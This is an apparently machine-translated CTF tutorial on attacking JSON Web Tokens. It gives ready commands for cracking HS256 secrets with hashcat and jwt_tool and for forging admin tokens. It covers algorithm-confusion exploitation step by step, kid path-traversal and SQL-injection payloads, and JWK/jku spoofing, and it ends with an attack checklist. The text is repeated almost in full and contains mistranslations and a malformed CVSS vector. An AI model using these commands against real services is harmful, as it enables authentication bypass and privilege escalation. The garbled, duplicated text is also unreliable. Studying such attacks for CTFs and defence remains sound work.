Overkill of the JWT secret key
hashcat is the main tool for the JWT secret key brother. The regime -m 16500 designed for JWT (covers HS256, HS384, HS512).
echo -n "<JWT_TOKEN>" > jwt.txt && hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
Flag -a 0 - dictionary attack. At the RTX 3060 level, rockyou.txt (14 million passwords) takes seconds. On the CPU - from a minute to half an hour depending on iron. The successful result looks like <JWT>:secret123 – hashcat brings out the found secret through the colon after the token.
Alternative without GPU: python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt. Flag -C triggers the crack mode. It works slower than hashcat, but does not require GPU drivers. For dictionaries up to 100 thousand lines - enough.
Another option is John the Ripper: convert JWT to john format via jwt2john.py (script from the john jumbo repository), then john --wordlist=rockyou.txt --format=HMAC-SHA256 jwt_john.txt. On a time limit Hashcat with a GPU, a priority, jwt_tool is a backup plan if there is no GPU.
Signature of the new token found secret
Having received a secret (suppose, secret123), generate a new token with the necessary claims. Through jwt_tool: python3 jwt_tool.py <JWT> -T -S hs256 -p "secret123". Flag -T opens interactive tamper mode – change role on admin, username to the right value, confirm. The tool signs the token with the found key and outputs the finished JWT.
The second way is jwt.io: insert the token, edit payload in the visual editor, enter the found secret in the field "Verify Signature". Ready signed token – left.
The third is one line of Python: import jwt; print(jwt.encode({"username": "admin", "role": "admin"}, "secret123", algorithm="HS256")). On the CTF, where you need speed, choose the method that is faster to type. I usually start with jwt_tool – it is at hand and do not need to open the browser.
JWT algorithm change: algorithm confusion attack
Algorithm confusion is the most evil attack on JWT and the main gap in Russian-speaking analysis: most articles mention it, but do not show step-by-step exploitation. HMAC RSA confusion attack exploits a fundamental contradiction in JWT design: the token itself tells the server how to check the signature. If the server trusts this instruction, the attacker controls the entire verification process.
The server uses RS256 (asymmetric algorithm). The private key signs the token, the public one checks. Attacker changes alg in the title on HS256 (symmetrical). The library on the server sees HS256 and looking for one common key. In vulnerable implementations, the key variable contains the same public RSA key. The attacker signs the token through HMAC-SHA256, using the public key as a HMAC secret. The server checks with the same key. The signatures match. The token is being verified.
Why it works: HMAC-SHA256 accepts any byte string as key. It doesn't matter if it's bytes are RSA public key. All HS256 security is kept on the key secret, and RSA public key is by definition public. According to the documents, a public key for verification, not for signature. In practice, HMAC will sign them without question. According to a study by PortSwigger Web Security Academy, the problem arises from the fact that many JWT libraries provide a single method verify(), which selects the algorithm based on the token header, and the developers do not pass the parameter algorithms with clear whitelist.
Vulnerabilities of this class are widely mentioned for Node.js jsonwebtoken (presumably up to version 4.2.2) and Python PyJWT (presumably up to 1.5.0), although specific CVEs for algorithm confusion in these libraries in NVD are not recorded and accurate versions require independent verification; a similar pattern allegedly affected ruby-jwt and php-jwt. Pattern one: The default API trusts alg from the title, and the developer does not limit the allowable algorithms.
How to get a public server key
You need a clear public server key to sign a fake token. Where to search:
Standard Endpoints: /.well-known/jwks.json, /jwks.json, /.well-known/openid-configuration (Contains URLs on JWKS). The key in JWK format is a JSON object with parameters n (modulus) and e (exponent) for RSA. Request: curl -s https://target/.well-known/jwks.json.
TLS certificate: sometimes the same RSA key is used for both TLS and JWT (yes, it happens). You can pull through openssl s_client -connect <host>:443 | openssl x509 -pubkey -noout.
Token Pair Calculation: If the public key is not directly available, PortSwigger provides the sig2n tool: docker run --rm -it portswigger/sig2n <token1> <token2>. Script will calculate the possible values of modulus n and issue PEM keys for each option plus fake tokens signed by each of them. We send each fake token through Burp Repeater — the one the server has accepted, matches the correct key.
Step-by-step exploitation of the algorithm
curl -s https://target/.well-known/jwks.json > jwks.json
python3 jwt_tool.py <JWT> -X k -pk public.pem
python3 jwt_tool.py <JWT> -S hs256 -k public.pem -T
The critical moment (and it is most often burned): the public key to which we sign must double the key on the server. The format (X.509 PEM vs PKCS1), line transfer, trailing newline - everything matters. The first attempt did not work – we try another format. In practice, you have to experiment: copy JWK from JWKS, convert to PEM through the JWT Editor extension in Burp Suite (JWT Ed Keyitors tab → New RSA Key → insert JWK → copy PEM), then base64-code and use as a value k in a new symmetrical JWK key. Mutorno, but it works.
JWT Signature Check: Bypassing Kid and Jwk
In addition to the three main attacks, there are advanced techniques associated with the JWT header parameters. Meet at the Hard level CTF and in bug bounty.
Parameter kid (Key ID) is an optional header field that indicates to the server which key from the storage to use to verify the signature. If the value kid not validated – it becomes an injection vector.
Path traversal through kid: attacker sets "kid": "../../dev/null". File /dev/null on Unix systems returns an empty line. Team: python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "". The token is signed with an empty secret, the server takes the “key” from /dev/null – also an empty line. The signatures match. The alternative is to specify the path to any predictable file in a web directory (CSS, JS) and use its contents as a secret: python3 jwt_tool.py <JWT> -I -hc kid -hv "path/to/file" -S hs256 -p "содержимое_файла".
SQL injection via kid: if the server stores the keys in the database and builds the SQL request from the value kid without parameterization, the attacking frame "kid": "key1' UNION SELECT 'known_secret' -- " and forces the server to use an arbitrary secret to verify. Two bugs in one field is beauty.
JWK spoofing – CVE-2018-0114: vulnerability in the Cisco node-jose library to version 0.11.0 (CVSS 7.5 HIGH, vector CVSS:3.1/AV:N/AC:L/PR:N/PR:N/UI:U/C:N/I:H/A:N, CWE-347 — Improper Verification of Crypto Signature). The library allowed you to embed an arbitrary public key JWK directly into the token header and entrusted it for verification. The attacker generated its RSA pair, signed the token with a private key and inserted the public key into the title – the library accepted without question. CISA estimates CVE-2018-0114 as poc by the parameters of Exploitation with the possibility of automation (Automatable: yes). EPSS estimate – 0.4265 (Top 5%, very high probability of operation). PoC is available in the zi0Black/POC-CVE-2018-0114 repository on GitHub.
A similar vector is a parameter jku (JWK Set URL): If the server loads the URL keys from the token header without checking the allowlist, the attacker specifies the URL of its server with its own JWKS. The server downloads the attacker's key, checks the signature - everything matches.
Checklist: operation of JWT in web CTF
The JWT verification order that saves time on the competition. Each step is if the previous one did not give a result:
Step The attack Team Precondition
1 Find and decode token jwt_tool.py <JWT> Cookie, Authorization, URL
2 alg: none jwt_tool.py <JWT> -X a Server accepts none
3 Substitution without signature jwt_tool.py <JWT> -I -pc role -pv admin The server does not check the signature
4 Brutforce Secret (HS256) hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt Dictionary/Short Secret
5 Algorithm confusion (RS256) jwt_tool.py <JWT> -X k -pk public.pem Public key available
6 the Kid injection jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" kid without validation
7 JWK/jku spoofing Manual modification of header The library trusts the built-in keys
Step 3 sounds absurd, but according to PortSwigger, the developers confuse the method verify() with decode() in JWT libraries. decode() only decodes base64url without checking the signature. If the server is using decode() instead of verify() – the signature is not checked at all, and you can change any claims without restrictions. I saw it on real CTFs at least twice – both times the task was labeled as Medium, although it was solved in 30 seconds.
Tools: jwt_tool (git clone https://github.com/ticarpi/jwt_tool && pip3 install -r requirements.txt), hashcat (16500 mode), Burp Suite with JWT Editor extension for visual work with tokens, jwt.io for quick debaga. The dictionary rockyou.txt (14 million records, ~140 MB) usually rolls in /usr/share/wordlists/ on Kali Linux. Separately – Python library PyJWT (pip install pyjwt>=2.10.1) for scripting disposable exploits (versions below 2.10.1 are subject to GHSA-75c5-xw7c-p5pm — incorrect processing of unknown extensions in the title crit).
hashcat is the main tool for the JWT secret key brother. The regime -m 16500 designed for JWT (covers HS256, HS384, HS512).
echo -n "<JWT_TOKEN>" > jwt.txt && hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
Flag -a 0 - dictionary attack. At the RTX 3060 level, rockyou.txt (14 million passwords) takes seconds. On the CPU - from a minute to half an hour depending on iron. The successful result looks like <JWT>:secret123 – hashcat brings out the found secret through the colon after the token.
Alternative without GPU: python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt. Flag -C triggers the crack mode. It works slower than hashcat, but does not require GPU drivers. For dictionaries up to 100 thousand lines - enough.
Another option is John the Ripper: convert JWT to john format via jwt2john.py (script from the john jumbo repository), then john --wordlist=rockyou.txt --format=HMAC-SHA256 jwt_john.txt. On a time limit Hashcat with a GPU, a priority, jwt_tool is a backup plan if there is no GPU.
Signature of the new token found secret
Having received a secret (suppose, secret123), generate a new token with the necessary claims. Through jwt_tool: python3 jwt_tool.py <JWT> -T -S hs256 -p "secret123". Flag -T opens interactive tamper mode – change role on admin, username to the right value, confirm. The tool signs the token with the found key and outputs the finished JWT.
The second way is jwt.io: insert the token, edit payload in the visual editor, enter the found secret in the field "Verify Signature". Ready signed token – left.
The third is one line of Python: import jwt; print(jwt.encode({"username": "admin", "role": "admin"}, "secret123", algorithm="HS256")). On the CTF, where you need speed, choose the method that is faster to type. I usually start with jwt_tool – it is at hand and do not need to open the browser.
JWT algorithm change: algorithm confusion attack
Algorithm confusion is the most evil attack on JWT and the main gap in Russian-speaking analysis: most articles mention it, but do not show step-by-step exploitation. HMAC RSA confusion attack exploits a fundamental contradiction in JWT design: the token itself tells the server how to check the signature. If the server trusts this instruction, the attacker controls the entire verification process.
The server uses RS256 (asymmetric algorithm). The private key signs the token, the public one checks. Attacker changes alg in the title on HS256 (symmetrical). The library on the server sees HS256 and looking for one common key. In vulnerable implementations, the key variable contains the same public RSA key. The attacker signs the token through HMAC-SHA256, using the public key as a HMAC secret. The server checks with the same key. The signatures match. The token is being verified.
Why it works: HMAC-SHA256 accepts any byte string as key. It doesn't matter if it's bytes are RSA public key. All HS256 security is kept on the key secret, and RSA public key is by definition public. According to the documents, a public key for verification, not for signature. In practice, HMAC will sign them without question. According to a study by PortSwigger Web Security Academy, the problem arises from the fact that many JWT libraries provide a single method verify(), which selects the algorithm based on the token header, and the developers do not pass the parameter algorithms with clear whitelist.
Vulnerabilities of this class are widely mentioned for Node.js jsonwebtoken (presumably up to version 4.2.2) and Python PyJWT (presumably up to 1.5.0), although specific CVEs for algorithm confusion in these libraries in NVD are not recorded and accurate versions require independent verification; a similar pattern allegedly affected ruby-jwt and php-jwt. Pattern one: The default API trusts alg from the title, and the developer does not limit the allowable algorithms.
How to get a public server key
You need a clear public server key to sign a fake token. Where to search:
Standard Endpoints: /.well-known/jwks.json, /jwks.json, /.well-known/openid-configuration (Contains URLs on JWKS). The key in JWK format is a JSON object with parameters n (modulus) and e (exponent) for RSA. Request: curl -s https://target/.well-known/jwks.json.
TLS certificate: sometimes the same RSA key is used for both TLS and JWT (yes, it happens). You can pull through openssl s_client -connect <host>:443 | openssl x509 -pubkey -noout.
Token Pair Calculation: If the public key is not directly available, PortSwigger provides the sig2n tool: docker run --rm -it portswigger/sig2n <token1> <token2>. Script will calculate the possible values of modulus n and issue PEM keys for each option plus fake tokens signed by each of them. We send each fake token through Burp Repeater — the one the server has accepted, matches the correct key.
Step-by-step exploitation of the algorithm
curl -s https://target/.well-known/jwks.json > jwks.json
python3 jwt_tool.py <JWT> -X k -pk public.pem
python3 jwt_tool.py <JWT> -S hs256 -k public.pem -T
The critical moment (and it is most often burned): the public key to which we sign must double the key on the server. The format (X.509 PEM vs PKCS1), line transfer, trailing newline - everything matters. The first attempt did not work – we try another format. In practice, you have to experiment: copy JWK from JWKS, convert to PEM through the JWT Editor extension in Burp Suite (JWT Ed Keyitors tab → New RSA Key → insert JWK → copy PEM), then base64-code and use as a value k in a new symmetrical JWK key. Mutorno, but it works.
JWT Signature Check: Bypassing Kid and Jwk
In addition to the three main attacks, there are advanced techniques associated with the JWT header parameters. Meet at the Hard level CTF and in bug bounty.
Parameter kid (Key ID) is an optional header field that indicates to the server which key from the storage to use to verify the signature. If the value kid not validated – it becomes an injection vector.
Path traversal through kid: attacker sets "kid": "../../dev/null". File /dev/null on Unix systems returns an empty line. Team: python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "". The token is signed with an empty secret, the server takes the “key” from /dev/null – also an empty line. The signatures match. The alternative is to specify the path to any predictable file in a web directory (CSS, JS) and use its contents as a secret: python3 jwt_tool.py <JWT> -I -hc kid -hv "path/to/file" -S hs256 -p "содержимое_файла".
SQL injection via kid: if the server stores the keys in the database and builds the SQL request from the value kid without parameterization, the attacking frame "kid": "key1' UNION SELECT 'known_secret' -- " and forces the server to use an arbitrary secret to verify. Two bugs in one field is beauty.
JWK spoofing – CVE-2018-0114: vulnerability in the Cisco node-jose library to version 0.11.0 (CVSS 7.5 HIGH, vector CVSS:3.1/AV:N/AC:L/PR:N/PR:N/UI:U/C:N/I:H/A:N, CWE-347 — Improper Verification of Crypto Signature). The library allowed you to embed an arbitrary public key JWK directly into the token header and entrusted it for verification. The attacker generated its RSA pair, signed the token with a private key and inserted the public key into the title – the library accepted without question. CISA estimates CVE-2018-0114 as poc by the parameters of Exploitation with the possibility of automation (Automatable: yes). EPSS estimate – 0.4265 (Top 5%, very high probability of operation). PoC is available in the zi0Black/POC-CVE-2018-0114 repository on GitHub.
A similar vector is a parameter jku (JWK Set URL): If the server loads the URL keys from the token header without checking the allowlist, the attacker specifies the URL of its server with its own JWKS. The server downloads the attacker's key, checks the signature - everything matches.
Checklist: operation of JWT in web CTF
The JWT verification order that saves time on the competition. Each step is if the previous one did not give a result:
Step The attack Team Precondition
1 Find and decode token jwt_tool.py <JWT> Cookie, Authorization, URL
2 alg: none jwt_tool.py <JWT> -X a Server accepts none
3 Substitution without signature jwt_tool.py <JWT> -I -pc role -pv admin The server does not check the signature
4 Brutforce Secret (HS256) hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt Dictionary/Short Secret
5 Algorithm confusion (RS256) jwt_tool.py <JWT> -X k -pk public.pem Public key available
6 the Kid injection jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" kid without validation
7 JWK/jku spoofing Manual modification of header The library trusts the built-in keys
Step 3 sounds absurd, but according to PortSwigger, the developers confuse the method verify() with decode() in JWT libraries. decode() only decodes base64url without checking the signature. If the server is using decode() instead of verify() – the signature is not checked at all, and you can change any claims without restrictions. I saw it on real CTFs at least twice – both times the task was labeled as Medium, although it was solved in 30 seconds.
Tools: jwt_tool (git clone https://github.com/ticarpi/jwt_tool && pip3 install -r requirements.txt), hashcat (16500 mode), Burp Suite with JWT Editor extension for visual work with tokens, jwt.io for quick debaga. The dictionary rockyou.txt (14 million records, ~140 MB) usually rolls in /usr/share/wordlists/ on Kali Linux. Separately – Python library PyJWT (pip install pyjwt>=2.10.1) for scripting disposable exploits (versions below 2.10.1 are subject to GHSA-75c5-xw7c-p5pm — incorrect processing of unknown extensions in the title crit).